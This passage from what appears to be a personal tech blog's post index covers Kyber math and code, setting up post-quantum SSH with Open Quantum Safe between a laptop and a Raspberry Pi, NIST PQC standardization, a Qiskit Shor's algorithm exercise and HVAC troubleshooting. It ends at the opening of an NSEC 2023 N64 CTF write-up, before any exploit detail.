taken modulo q, and a vector polynomial t, which to calculate we also need an error vector e which consists of small coefficient polynomials similar to s. $$A = \\begin{pmatrix}3328x^{256} -569x^{255} \\dots + 3001x + 2407 &amp; - 157x^{256} - 726x^{255} \\dots - 3209x - 2300 \\\\\\ 156^{256} -386x^{255} \\dots + 2438x + 1679 &amp; -1920x^{256} - 502x^{255} \\dots - 2610x - 152\\end{pmatrix}$$ $$e = (3x^{256} +x^{255} \\dots - 2x + 1, -2x^{256} - x^{255} \\dots + 3x - 1)$$ We can then calculate the polynomial vector t as: $$t = As + e$$ At which point we have our keys: Private key: s Public key: (A,t) For the encryption and decryption portions I will again highly suggest going through the Approachable Cryptography’s mini-Kyber example as it keeps the parameters low to keep the calculations understandable. The fun part of this as mentioned is that the implementation of Kyber is generally the same and the fundamental differences are in the parameters chosen. Having set the base above with Kyber 512, we can now take a look at some experimental branches and compare to our theoretic understanding. Open Quantum Safe The Open Quantum Safe team has open-sourced a C library which implements most of the PQC algorithms, including Kyber - liboqs. Our goal will be to leverage OQS’s openssh repo, however that is ultimately leveraging liboqs for the PQC portions, so let’s start there. Kyber Code Let’s take a look at the Kyber 512 implementation and see if we recognize some of the details. At the Kyber 512 params.h file we see some familiar parameters: #if (KYBER_K == 2) #define KYBER_NAMESPACE(s) pqcrystals_kyber512_ref_##s ... #define KYBER_N 256 #define KYBER_Q 3329 Well that looks like something we’ve seen doesn’t it! Without going through the code completely, we can dive a few levels from the kem.c file to the indcpa.c file where we start to see some more familiar math happening - the keypair generation! There is a little to unpack here, so let’s go one step by step and compare it to the mathematical implementation we did above. First thing first, we understand these polynomial vectors being defined: polyvec a[KYBER_K], e, pkpv, skpv; a maps to our A, e maps to e. The secret key, s above, maps to skpv, and our public key t above maps to pkpv. Great so far so good. gen_a(a, publicseed); All this is doing is populating the matrix A. for(i=0;i&lt;KYBER_K;i++) poly_getnoise_eta1(&amp;skpv.vec[i], noiseseed, nonce++); for(i=0;i&lt;KYBER_K;i++) poly_getnoise_eta1(&amp;e.vec[i], noiseseed, nonce++); polyvec_ntt(&amp;skpv); polyvec_ntt(&amp;e); Since our secret key s and error vector e are generated similarly, this part of the code is reusing the same function to populate them. Here it’s worth poking one layer deeper at the poly_getnoise_eta1 function for a moment to highlight one more parallel to our mathematical walkthrough above. This function is located in the poly.c file. Where KYBER_ETA1 here matches \\(η_{1}=3\\) as we saw above for Kyber 512! The rest of the code back in indcpa.c is calculating \\(t = As + e\\), where the first part is the multiplication: // matrix-vector multiplication for(i=0;i&lt;KYBER_K;i++) { polyvec_basemul_acc_montgomery(&amp;pkpv.vec[i], &amp;a[i], &amp;skpv); poly_tomont(&amp;pkpv.vec[i]); } Then adding our error vector: polyvec_add(&amp;pkpv, &amp;pkpv, &amp;e); polyvec_reduce(&amp;pkpv); See, that wasn’t too bad! Alright, we have a decent understanding of what is happening now. So let’s go move away from theory &amp; code and move on to getting our hands dirty with implementation! Installing &amp; Configuration The goal was to install OQS’s openssh on both my laptop and a pi, and be able to communicate between the two. A fun-fact I was originally looking to use a spare pi 3B, however when going through the builds I kept running into out of memory situations. I dusted off one of my org-in-a-box’s pi 4s and thankfully it was able to successfully build the libraries. Hardware limitations aside, the actual build process couldn’t have been simpler. Cloning the openssh repo, there are scripts to help build the required liboqs libraries, then build the openssh binary with the PQC support. ./oqs-scripts/clone_liboqs.sh ./oqs-scripts/build_liboqs.sh ./oqs-scripts/build_openssh.sh I was just following the instructions in the repo and ended up generating all the valid keypairs. This could have been limited to just what was needed for our experiment, however there was no harm, other than waiting several minutes for the full suite to finish. make tests -e LTESTS=\"\" Once the build was complete on both laptop/pi I updated my ~/openssh/regress/sshd_config file on the pi (acting as server) to allow connections from more than just localhost (which is the default for the OQS experimental branch. It’s experimental for a reason after all!): ListenAddress 0.0.0.0 I then updated my ~/openssh/regress/ssh_config on the laptop (acting as client) to limit the amount of Identity files to only the Sphincs Identity generated directly. Since I was limiting myself to NIST suggested algorithms, I decided to use Sphincs together with Kyber for the SSH authentication. ./ssh-keygen -t ssh-ecdsa-nistp521-sphincssha2256fsimple -f ~/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple Leveraging the following in the ssh_config. IdentityFile /home/padraignix/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple This section wasn’t strictly necessary since it was defined in the command line arguments, however I found that with the default full list of IdentityFile’s in the config I was running into auth failures. After cleaning up the config to only include the Sphincs Identity, I was able to successfully authenticate. And with that, we should be all set to go! Let’s give it a shot! Post-Quantum Communication! First thing we need to do is kick off the server to listen for incoming connections. From the pi: padraignix@pqc:~/openssh$ /home/padraignix/openssh/sshd -D -f regress/sshd_config -o KexAlgorithms=ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org -o HostKeyAlgorithms=ssh-ecdsa-nistp521-sphincssha2256fsimple -o PubkeyAcceptedKeyTypes=ssh-ecdsa-nistp521-sphincssha2256fsimple -h regress/host.ssh-ecdsa-nistp521-sphincssha2256fsimple Then from my laptop I tried to connect to the pi: padraignix:~/openssh$ /home/padraignix/openssh/ssh -o KexAlgorithms=,ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org -o HostKeyAlgorithms=ssh-ecdsa-nistp521-sphincssha2256fsimple -o PubkeyAcceptedKeyTypes=ssh-ecdsa-nistp521-sphincssha2256fsimple -o PasswordAuthentication=no -i ~/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple 10.0.0.23 -p 4242 -vvv I added all the debugging to be able to confirm the use of our PQC algorithms, as well as tailing the /var/log/auth.log on the pi to see the connection attempts. Behold the live capture of the attempt! Success! We have a post-quantum SSH connection! Or… we should, let’s confirm based on the logs at least. From the client side we see: debug2: local client KEXINIT proposal debug2: KEX algorithms: ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org,ext-info-c debug2: host key algorithms: ssh-ecdsa-nistp521-sphincssha2256fsimple ... debug2: peer server KEXINIT proposal debug2: KEX algorithms: ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org debug2: host key algorithms: ssh-ecdsa-nistp521-sphincssha2256fsimple ... debug1: kex: algorithm: ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org debug1: kex: host key algorithm: ssh-ecdsa-nistp521-sphincssha2256fsimple debug3: send packet: type 30 debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug3: receive packet: type 31 debug1: SSH2_MSG_KEX_ECDH_REPLY received debug1: Server host key: ssh-ecdsa-nistp521-sphincssha2256fsimple SHA256:p70cP2NYYQnsMDJCbCUQT6Yapkc8UXx1RLlP/Sf1uL8 debug3: record_hostkey: found key type ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE in file /home/padraignix/.ssh/known_hosts:5 ... debug1: Will attempt key: /home/padraignix/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 explicit debug1: Offering public key: /home/padraignix/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 explicit debug1: Server accepts key: /home/padraignix/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 explicit ... debug3: sign_and_send_pubkey: signing using ssh-ecdsa-nistp521-sphincssha2256fsimple SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 Enter passphrase for key '/home/padraignix/ssh_client/id_ssh-ecdsa-nistp521-sphincssha2256fsimple': debug3: send packet: type 50 debug3: receive packet: type 52 Authenticated to 10.0.0.23 ([10.0.0.23]:4242) using \"publickey\". Excellent, now let’s check the server side logs: 2023-10-07T15:37:14.026456-04:00 pqc sshd[1657]: Connection from 10.0.0.178 port 64950 on 10.0.0.23 port 4242 rdomain \"\" 2023-10-07T15:37:14.046402-04:00 pqc sshd[1657]: debug1: list_hostkey_types: ssh-ecdsa-nistp521-sphincssha2256fsimple [preauth] 2023-10-07T15:37:14.046877-04:00 pqc sshd[1657]: debug3: send packet: type 20 [preauth] 2023-10-07T15:37:14.047449-04:00 pqc sshd[1657]: debug1: SSH2_MSG_KEXINIT sent [preauth] 2023-10-07T15:37:14.047894-04:00 pqc sshd[1657]: debug3: receive packet: type 20 [preauth] 2023-10-07T15:37:14.048444-04:00 pqc sshd[1657]: debug1: SSH2_MSG_KEXINIT received [preauth] 2023-10-07T15:37:14.048901-04:00 pqc sshd[1657]: debug2: local server KEXINIT proposal [preauth] 2023-10-07T15:37:14.049491-04:00 pqc sshd[1657]: debug2: KEX algorithms: ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org [preauth] 2023-10-07T15:37:14.049877-04:00 pqc sshd[1657]: debug2: host key algorithms: ssh-ecdsa-nistp521-sphincssha2256fsimple [preauth] ... 2023-10-07T15:37:14.054328-04:00 pqc sshd[1657]: debug2: KEX algorithms: ecdh-nistp256-kyber-512r3-sha256-d00@openquantumsafe.org,ext-info-c [preauth] 2023-10-07T15:37:14.055095-04:00 pqc sshd[1657]: debug2: host key algorithms: ssh-ecdsa-nistp521-sphincssha2256fsimple [preauth] ... 2023-10-07T15:37:14.060117-04:00 pqc sshd[1657]: debug1: expecting SSH2_MSG_KEX_ECDH_INIT [preauth] 2023-10-07T15:37:14.063062-04:00 pqc sshd[1657]: debug3: receive packet: type 30 [preauth] 2023-10-07T15:37:14.063474-04:00 pqc sshd[1657]: debug1: SSH2_MSG_KEX_ECDH_INIT received [preauth] 2023-10-07T15:37:14.064187-04:00 pqc sshd[1657]: debug3: mm_sshkey_sign: entering [preauth] 2023-10-07T15:37:14.064566-04:00 pqc sshd[1657]: debug3: mm_request_send: entering, type 6 [preauth] 2023-10-07T15:37:14.064910-04:00 pqc sshd[1657]: debug3: mm_sshkey_sign: waiting for MONITOR_ANS_SIGN [preauth] 2023-10-07T15:37:14.065191-04:00 pqc sshd[1657]: debug3: mm_request_receive_expect: entering, type 7 [preauth] 2023-10-07T15:37:14.065488-04:00 pqc sshd[1657]: debug3: mm_request_receive: entering [preauth] 2023-10-07T15:37:14.065822-04:00 pqc sshd[1657]: debug3: mm_request_receive: entering 2023-10-07T15:37:14.066158-04:00 pqc sshd[1657]: debug3: monitor_read: checking request 6 2023-10-07T15:37:14.066441-04:00 pqc sshd[1657]: debug3: mm_answer_sign: entering 2023-10-07T15:37:14.580369-04:00 pqc sshd[1657]: debug3: mm_answer_sign: ssh-ecdsa-nistp521-sphincssha2256fsimple KEX signature len=50085 ... 2023-10-07T15:37:14.653374-04:00 pqc sshd[1657]: debug1: userauth-request for user padraignix service ssh-connection method publickey [preauth] 2023-10-07T15:37:14.655504-04:00 pqc sshd[1657]: debug2: userauth_pubkey: valid user padraignix querying public key ssh-ecdsa-nistp521-sphincssha2256fsimple AAAAKHNzaC1lY2RzYS1uaXN0cDUyMS1zcGhpbmNzc2hhMjI1NmZzaW1wbGUAAAAIbmlzdHA1MjEAAACFBAGnsXjuFqEkkb7FsyOISt8ZKJQxM9jEB/nc2FfLopdq3oCtXG/NcFtesxhXoUyr8VPthx/AIzt4HdGIFNAMXTD02wG/CUQ5s4KDBEuLv42x4tvcKYXTO7rk8VL7BKlNc+Y8/1po9XFNRgwsvHXfe3GwO4JLExP99a7TUGN50dV51jYFigAAAEBtoj7VNwfqkxjRJHDKnmd1biP/tqBYYHa23awFQGtSnSIGef+7xR1Umg9oFIaL1D11G77rDHJkNBMk8b/1WM4y [preauth] 2023-10-07T15:37:14.672766-04:00 pqc sshd[1657]: debug1: userauth_pubkey: publickey test pkalg ssh-ecdsa-nistp521-sphincssha2256fsimple pkblob ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 [preauth] 2023-10-07T15:37:14.673136-04:00 pqc sshd[1657]: debug3: mm_key_allowed: entering [preauth] ... 2023-10-07T15:37:14.685445-04:00 pqc sshd[1657]: debug1: trying public key file /home/padraignix/openssh/regress/authorized_keys_padraignix 2023-10-07T15:37:14.704629-04:00 pqc sshd[1657]: debug1: /home/padraignix/openssh/regress/authorized_keys_padraignix:2: matching key found: ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 2023-10-07T15:37:14.705466-04:00 pqc sshd[1657]: Accepted key ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 found at /home/padraignix/openssh/regress/authorized_keys_padraignix:2 ... 2023-10-07T15:37:17.703922-04:00 pqc sshd[1657]: Accepted publickey for padraignix from 10.0.0.178 port 64950 ssh2: ECDSA_NISTP521_SPHINCSSHA2256FSIMPLE SHA256:Sk6FBYZPQO1N35xkAr2y+En2QViQXwFbEaxoIZN7St8 There we go. Successful PQC connection between my two machines. I’ll take it! Summary &amp; Future Analysis What a journey. We went from the original posts of understanding Shor’s algorithm’s threat to current encryption approaches, to understanding the industry’s response and standardization efforts to address this, to ultimately in this post looking at the math behind Kyber, comparing it to the experimental code, and implementing it in a practical way. There are many more things to explore, such as performance comparisons to undertand migration questions at scale, but I think this is a good stopping point for now. Considering this area is very much still a work in progress and there are open questions and efforts on what will ultimately be the standardized algorithms, I’m sure I’ll revisit this in the future, but for now I’m happy with the results. Going back to one of my original points, understanding how to migrate becomes more important than the specific flavour you are using. Understanding the current offerings, limitations, and having a plan on how to migrate, will pay dividends, now, where should things change (and chances are they will), we can be ready to understand and adapt. Thanks folks, until next time!" }, { "title": "Post-Quantum Cryptography - Standardization and Summarization", "url": "/quantum-computing/2023/09/25/post-quantum-crypto/", "categories": "quantum-computing", "tags": "quantum-computing, quantum cryptography, post-quantum cryptography, lattice based crypto, hash based crypto", "date": "2023-09-25 09:00:00 -0400", "content": "Introduction As mentioned in my first post of the series on Shor’s Algorithm in Action, the next step is to understand what can be done to ensure the future of our underlying security and privacy processes are quantum-safe. In this post we will go over a few of the proposals brought forward, quickly touching some of the fundamental math behind them. Additionally, we will cover the state of the NIST’s quantum-safe standardization efforts. At the time of this writing several candidates have been selected for standardization while more are undergoing evaluation in the current round. This second post will help lay the groundwork for the next post, where we will take what we have learned and explore experimental quantum-safe utilities and open-source software. The goal is not necessarily to provide an end-to-end roadmap, as some aspects are still unknown today, however understanding the goal of what we are trying to achieve (quantum-safe cryptography) and having the basics of the current threats and PQC proposals allows us to critically evaluate what is coming out and be ready to implement and/or pivot as the landscape evolves. Going back to a childhood quote - “knowing is half the battle”. Why Do We Need This? Mentions of “must start now” or “we are already too late” pop up in news and interviews quite often, but why is that exactly? We saw in the previous post how Shor’s provides a proven way to factor prime numbers, sure, but aren’t we at the engineering problem portion, where it may take many years before a quantum computer can practically break the key sizes in use today? Technically you would be correct. But there are a few additional aspects that we need to keep in mind. Firstly, the “years away” comment is with our current understanding. This nascent field is very much evolving at a growing pace. Recently an arxiv publication An Efficient Quantum Factoring Algorithm has claimed to find a way to reduce the number of quantum gates from 4 million to 100k, at a trade-off of requiring more qubits. This approach has not proved physically implementable yet, but serves to illustrate just how fast the field can and is changing. Secondly, we need to think of the full lifecycle of the data we are trying to protect. Just because it is secure, at the moment, does that mean we can ignore the state of that particular data 1, 5, 10 years down the road? In what many call “hack now, decrypt later” we need to essentially assume that our data is already compromised, in its encrypted form, and be sure that it cannot be decrypted for the useful lifetime of that data. A recent example of this classically happened with the Lastpass Breach. This is a classical example since, to my knowledge at least, there is no practical quantum computer being leveraged to break encryption today, however when one will become available, data harvested even now may be subject to breach years from now. The sooner the shift to quantum-safe cryptography is done from an industry perspective, the quicker these future threats can be addressed. Let’s jump into some of those approaches and understand how this can be done. NIST Standardization Understanding that a new set of quantum-safe standards would be required in the industry, the NIST organization kicked off its Post-Quantum Cryptography efforts with a call for proposals from the community. These proposals fit into varying categories defined by NIST: Over the years, through several rounds of proposals, feedback, and community scrutiny, the first set of algorithms were chosen for standardization. (source for below). With the third round and initial selections identified, a fourth round is underway to identify additional approaches to diversify the current selections. While the fourth round is progressing, NIST has already released three FIPS drafts for the already selected algorithms. High-Level Math Let’s take a look at the currently selected algorithms from NIST. Both from a applicability perspective, but for the purposes of this section more for the underlying cryptographic families Alright, I think it’s safe to say we should look at Lattice-based. Additionally, the recent online IBM course Practical introduction to quantum-safe cryptography does cover this in more mathematical and practical details and I do suggest taking a look for anyone interested. Lattice-Based Cryptography First thing’s first - what is a lattice? Lattices are mathematical structures that can be thought of as a grid of regularly spaced points in n-dimensional space. These points are arranged in such a way that they form a repeating pattern. In the context of lattice-based cryptography, lattices are used to create hard mathematical problems that are believed to be resistant to attacks, including those by quantum computers, making them an area of interest for PQC. A few of the ways lattices are used: Shortest Vector Problem (SVP): SVP is a fundamental problem in lattice-based cryptography. It asks for the shortest non-zero vector within a lattice. Finding this shortest vector is a computationally hard problem and forms the foundation for many lattice-based cryptographic schemes. Closest Vector Problem (CVP): CVP is another fundamental problem in lattice-based cryptography. It seeks to find the lattice point closest to a given target point. This problem is also computationally challenging. Bounded Distance Decoding (BDD): BDD is a problem that involves finding a lattice point whose distance from a given target point is below a certain threshold. Learning With Errors (LWE): LWE is a specific problem in lattice-based cryptography where errors (noise) are introduced into the lattice points. It is hard to distinguish between lattice points with errors and those without. LWE is a foundational problem for encryption and key exchange in lattice-based cryptography. Ring-LWE: A variant of LWE, Ring-LWE operates with polynomial rings instead of integers. This variant offers certain computational efficiency advantages at a potential security trade-off. Module-LWE is a variant of the Learning With Errors (LWE) problem. In Module-LWE, the lattice vectors are taken modulo a fixed module, which is an integer or a polynomial ring. This modification to the traditional LWE problem introduces a unique set of challenges and applications. The Practical introduction to quantum-safe cryptography - LWE in Python has a specific section where you can step through a practical implementation of LWE in Python. Instead of repasting my run-through here I highly suggest you read the mathematical definition and then reinforce it by stepping through the practical exercise. Summary So far we’ve looked at first the potential threat quantum computing brings to our current security implementations, and now the current approaches being taken to develop a standardized “quantum-safe” approach. Additionally, we’ve started going down the rabbit hole of exploring the underlying mathematic concepts of some of the NIST-selected approaches and alluded to a hands-on approach to explore that math. In the next part of the series we will bring it all together and look at some experimental branches of utilities and tools we use on a day-to-day basis. Specifically, I’ll work on re-implementing libraries from Open Quantum Safe and taking a look at how we adjust configurations for SSH and others to establish quantum-safe communications with my test lab. Here’s to the practical implementation! Thanks folks, until next time!" }, { "title": "Post-Quantum Cryptography - Shor's Algorithm in Action", "url": "/quantum-computing/2023/09/24/quantum-cryptography/", "categories": "quantum-computing", "tags": "quantum-computing, quantum challenge, quantum cryptography, post-quantum cryptography", "date": "2023-09-24 09:00:00 -0400", "content": "Introduction Recently IBM released a free Practical introduction to quantum-safe cryptography course that helps \"serves as a primer on the foundational concepts in quantum-safe cryptography\". While the course itself I have been finding useful and do recommend, it reminded me of a previous Qiskit Event, Spring 2021, where I first practically experimented with Shor's algorithm. To my surprise, despite having the notebook uploaded to my personal repo I had not written up a summary of the event as I had done with previous ones. This post will not only rectify the previous omission, but will serve as the kick off to a mini-series covering more in-depth Post-Quantum Cryptography. I want to start with this post, highlighting the fundamental reasons as to why we need PQC, explaining how Shor's algorithm threatens the underpinnings of our security premises today. A second post will cover the current efforts to introduce \"Quantum-Safe Cryptography\", covering loosely the mathematical concepts as well as standardization efforts currently underway with NIST. Lastly, I want to cover in a third post the experimentation and practical implementation of PQC in some of our day-to-day utilities. I took a look an initial look in March 2022 at experimental branches of SSH developed by Open Quantum Safe, however at the time I ended up choosing an algorithm that did not end up being selected by NIST. With some of the latest announcements by companies such as Signal announcing the latest PQC integration, I want to revisit those initial experiments and implement an iteration using some of the approaches selected by NIST. Alright, enough planning, let's jump into learning how Shor's algorithm can break our current security! Qiskit Event As with previous Qiskit challenges, the Spring 2021 event was broken up into several notebooks with different focus areas. One of those, explored Shor’s algorithm, ultimately leading individuals to implementing a prime-factorization of the number 35. While this won’t directly allow us to break some of the modern day cryptography, since keys can be in the range of 2048-4096 bits, it demonstrates the inevitability that breaking the underpinning of our current security structures is no longer a theoretical possibility, it has moved to a problem of engineering. As quantum computers develop and get “better”, while at the same time more research is done expanding on Shor’s original implementation, it becomes a matter of “when”, not “if” current cryptographic implementations can be broken. Before we jump too far down the rabbit hole let us go over the basics - Shor’s algorithm and covering the Qiskit notebook on how it was implemented practically. Shor's Algorithm As mentioned in the intro section, my corresponding notebook for the event can be found at my personal repo. What I would add on is that since the event some of the Qiskit documentation has changed with the site’s restructuring. If you follow the notebook and try to go to the Qiskit documentation for Shor’s it has changed to Shor’s Algorithm. Algorithm Summary Shor's algorithm ultimately solves the problem of period finding. This becomes important as factoring, the underpinning of current classical cryptography, can be turned into a period finding problem with polynomial time. This means if we can use Shor's to find an efficient way to find the period of $$f(x) = a^x\\mod N$$ it can be used to find the prime factors used for encryption such as RSA. What the Spring 2021 challenge had us implement was a quantum phase estimation of U, where the approach is $$U\\left|y\\right&gt; = \\left|ay\\mod N\\right&gt;$$ Creating the Unitary Since our challenge boils down to solve $$13y\\mod 35$$ we already \"know\" how to solve this. We could mentally go through an iteration of multiples of 13 until we get back to our original state. In this case we can do it simply through classical confirmation, but the structure of how we setup this period is important, as we will be modelling it as a quantum unitary whose approach can be scaled where classically this becomes infeasible. from qiskit import QuantumCircuit from qiskit import QuantumRegister, QuantumCircuit c = QuantumRegister(1, 'control') t = QuantumRegister(2, 'target') cu = QuantumCircuit(c, t, name=\"Controlled 13^x mod 35\") # WRITE YOUR CODE BETWEEN THESE LINES - START cu.ccx(c,t[0],t[1]) cu.cx(c,t[0]) Now with U complete, we can build out the remainder of the circuits needed. In this case we already know the period (r) is 4. This can be considered \"cheating\" as in a real example we would not know this ahead of time, however for this implementation we can proceed with the assumption the information is known. As a quick side-note since this mentally toyed with me during the challenge, there are references in the notebook itself for implementations with no assumption, showing that this particular implementation can be more efficient since we have some of the details already, however it is not mandatory to solve. U2 c = QuantumRegister(1, 'control') t = QuantumRegister(2, 'target') cu2 = QuantumCircuit(c, t) # WRITE YOUR CODE BETWEEN THESE LINES - START cu2.cx(c,t[1]) U4 Which in our case is a no-op, there is no change to the states therefore this unitary is “nothing”. Final Circuit Putting all the components together, we get: # Code to combine your previous solutions into your final submission cqr = QuantumRegister(3, 'control') tqr = QuantumRegister(2, 'target') cux = QuantumCircuit(cqr, tqr) solutions = [cu, cu2, cu4] for i in range(3): cux = cux.compose(solutions[i], [cqr[i], tqr[0], tqr[1]) cux.draw('mpl') Finding r So we have a circuit. Great, what now? The total circuit will give us the output of s/r where r is the period of the original modulus function and s is a random integer between 0 and r-1. from qiskit.circuit.library import QFT from qiskit import ClassicalRegister # Create the circuit object cr = ClassicalRegister(3) shor_circuit = QuantumCircuit(cqr, tqr, cr) # Initialise the qubits shor_circuit.h(cqr) # Add your circuit shor_circuit = shor_circuit.compose(cux) # Perform the inverse QFT and extract the output shor_circuit.append(QFT(3, inverse=True), cqr) shor_circuit.measure(cqr, cr) shor_circuit.draw('mpl') Then running the circuit we get the results of 0,2,4,8. But wait, didn't you say it should be giving us s/r? That doesn't seem to be the right numbers. There's one last part we didn't account for. The circuit itself is actually giving us $$2^n \\cdot \\frac{s}{r}$$ so we need to adjust appropriately. And the 1/2 can be thought of as 2/4 here, giving us properly s/r with an r of 4. Now, again, we knew this ahead of time because we cheated by doing it mentally first. But this illustrates that the circuit can get us a proper answer, which is the main point of going through the steps to generate the circuit and confirm the output. Getting the factors of 35 So how do we get the factors from r? There is a high chance that at least one of the greatest common divisor between N (in our case 35) and either $$a^\\frac{r}{2}-1$$ or $$a^\\frac{r}{2}+1$$ is a factor of N. Since GCD is easily computed classically we can find that as: In this case it's easy to see that both ended up being the factors of 35, however were only one of them a true factor, then finding the other would simply be dividing N by the factor found. Congratulations, you just factored a number using Shor's approach! Summary I was debating including the following \"simplified\" approach to Shor's earlier in the post, but I felt that including this now, after you've gone through the practical implementation should allow for deeper understanding. The mathematical explanation comes from the latest Developer course on Post-Quantum Cryptography listed in the introduction, and I highly suggest going through that to reinforce the concepts seen here as well as provide different implementation overviews. Hopefully this walkthrough helped cut through the underlying explanation of how Shor's algorithm provides a threat to the current classical approach to our security processes. What we will cover in a next post is the answer to Shor's - how the industry is evolving to address security in a \"quantum-safe\" approach, and the standardization efforts around it. We are the latest precipice of security and computing paradigms and learning more about both the threats and future approaches is fundamental to ensure we are keeping our environments safe. It is never too early to start learning and not only be ready for what comes next, but to be able to help shape it as well. Thanks folks, until next time!" }, { "title": "HVAC Troubleshooting - Journey to SME Status", "url": "/trench-talk/2023/07/14/hvac-troubleshoot-part2/", "categories": "trench-talk", "tags": "SRE, troubleshooting, real-life, hvac", "date": "2023-07-14 15:00:00 -0400", "content": "Introduction Have you ever cleaned a piece of heavy machinery with a hand-held vacuum to remove pollen? Not a question I thought I would need to ask myself before this summer. Let's dive into my continued journey to becoming a HVAC subject matter expert (SME), learning way more than I ever expected in cooling technology. As with my first HVAC troubleshooting post I'll bridge some concepts to cybersecurity and ultimately how some of the lessons learned from the first incident were incorporated to reduce the impact. Background Reminder As a quick reminder let's overview how my HVAC system works. There is a furnace unit in the basement and a heat pump unit which has a set of coils, one located inside with the furnace unit, while the outdoor coil is housed on a unit on the side of the home. If we look at the system from a diagram perspective, you can see how the heat pump can be \"reversed\" to provide either heat or cooling inside. A heat pump is an efficient way to manage the heating or cooling in the house, and the furnace is available for cold Canadian winters where the outside falls below the efficient heat pump operating temperature (which varies by model but once we reach -15C that is a perceived threshold). As a quick recap, the previous year's issues were related to two separate situations Restrictive air filters leading to back-pressure and eventual frost build-up created a vicious cycle A refrigerant leak in the copper pipes between the external/internal coils that ended up requiring a new line to be installed The last HVAC issue was fixed in Fall 2021. The next summer period of 2022 went off without any problems. Finally, the dreaded issues were solved and I could enjoy my home without having to worry about internal temperatures reaching dangerous levels! Right...? Right?! Investigation &amp; Troubleshooting Well as it turns out, this summer ended that streak. Late June 2023, just as the humidity and heat was starting to creep up in the area, the house started feeling warm. Uh-oh... time to break out the trusty meat thermometer (yes, I still haven't gotten a proper one) and found the first troubling data point. The temperature coming out of the vents was the same as outside. While this isn't generally good, the previous issues with back-pressure and low refrigerant levels led to diminished cooling, but cooling all the same. This time, something else is up. Your browser does not support the video tag. Well that's definitely not a good sound... so with a new set of symptoms means a new troubleshooting round. There has just been a large influx of pollen earlier in the week, worse than any year we experienced previously. As a result I noticed a new potential symptom that while different _could_ maybe explain a different way for the backpressure to have been generated. That is some significant congestion. I tried clearing it out with a shop-vac (just picture someone vacuuming their HVAC unit outside, it was a sight). Sadly, even with a reboot there was no relief. The knocking sound was still happening periodically. The next step was to check if there was another leak in the copper wiring. Last time a new route was run from the external unit to the furnace, from the outside. Checking that new run, I did notice something I thought was off - residue on the pipes making me think of corrosion. However, after some quick searching this was deemed \"normal\" for outdoor copper piping, especially when it is exposed to the elements, or in this case rain. Ok, one more angle eliminated. With the more cursory elements eliminated as potential break points, I started diving more into the documentation. This time I focused a bit more on the electrical. While still scary, and please if you end up working with your own systems do be cautious and consult a professional, I felt a bit more confident trying to trace down the potential issue. Starting with what are we working with: After a few iterations of trying to pinpoint exactly where the noise was being generated from (which I can say was not easy!) I was able to deduce the sound seemed to be coming from the compressor. For anyone who has had to replace that part you feel me when I say \"ouch\". A replacement compressor costs upwards of 40% of replacing the entire system. But all is not yet lost. While I think it may be the compressor, we have to think about the full picture. So what is happening when that sound is generated? Based on my reading it seems that as the system is spinning up to cool, the switch is flipped, and the compressor is meant to engage, starting the flow of refrigerant. Based on the lack of cooling and knocking sound I can assume that it is not happening. So could that be a faulty compressor? Sure, but that's not all it could be. At this point is where I decided to call in the professionals. I had already pushed boundaries of my knowledge and if we were going into more expensive/complicated parts to replace I did not want to damage anything further. As I'll cover in the next section however, that engagement lead to even more knowledge, and should this exact situation happen again (hopefully not!) I'll be better positioned to fix it myself. Resolution - Enter Professionals After a few weeks of contingencies in terms of breaking out the standing unit in the living room, the pros were able to come take a look. They did the similar initial triage such as checking refrigerant levels but after showing them the knocking sound they immediately zoned in on the capacitor. According to them it was either the capacitor and/or the compressor. So as an initial test they would replace the capacitor and see if it fixed the situation. With a hope and a prayer I turned on the system. After about 10-15 seconds the system engaged, the compressor kicked in, and... it kept running! Victory! Thankfully, a capacitor was a fraction of the cost of if I would have had to change the compressor. In all, aside from the inconvenience of having to deal with the contingency systems for a few weeks, I was able to learn a bit more about how the system worked, what else to check, and hopefully if something were to happen again in the future, I'm one step further into being able to handle the situation myself. Here's to slowly, unwillingly, becoming a pseudo-SME for my HVAC system! Thanks folks, until next time!" }, { "title": "NSEC 2023 - N64 - Document Dropper 2 Reverse Engineering", "url": "/ctf/2023/05/22/nsec2023-gamestation/", "categories": "ctf", "tags": "nsec2023, ctf, reverse-engineering, ghidra, n64", "date": "2023-05-22 14:00:00 -0400", "content": "Introduction One of my favorite times of the year - NSEC’s annual CTF. I have participated in various formats over the years, from hybrid, to virtual during the pandemic, back to a mostly in person event, to this year’s “in-person first”, and while no year has disappointed, it was really something to see close to 700 participants alongside me competing over the weekend. Similar to previous years, there was a gaming track that focused on reverse engineering. The author of this specific challenge, Zack Deveau, also authored last year’s N64-based challenge I loved so much, and I can’t thank him enough for continuing the tradition. Not only did this year’s track offer another opportunity to dive into the low-level architecture of N64 architecture, but this year built up on the previous edition and where we still had to understand the flow and spend time understanding what was happening logically, as you will shortly see, this year’s version expanded into exploiting that understanding and creating a buffer overflow to take over 